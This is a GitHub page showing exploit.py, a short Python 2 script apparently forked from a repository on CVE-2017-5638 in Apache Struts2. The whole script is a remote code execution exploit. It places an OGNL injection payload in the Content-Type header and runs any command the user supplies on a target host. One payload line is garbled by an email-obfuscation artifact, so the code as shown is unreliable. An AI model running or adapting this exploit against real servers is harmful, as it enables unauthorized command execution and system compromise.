forked from immunio/apache-struts2-CVE-2017-5638
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexploit.py
26 lines (20 loc) · 750 Bytes
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import urllib2
import httplib
def exploit(host,cmd):
ognl_payload = "%{(#_='multipart/form-data')."
ognl_payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
ognl_payload += "(@java.lang.Runtime@getRuntime().exec('{}'))".format(cmd)
ognl_payload += "}"
if not ":" in host:
host = "{}:8080".format(host)
url = "http://{}/struts2-showcase-2.3.12/showcase.action".format(host)
headers = {'Content-Type': ognl_payload}
request = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(request).read()
if len(sys.argv) < 3:
sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
exploit(sys.argv[1],sys.argv[2])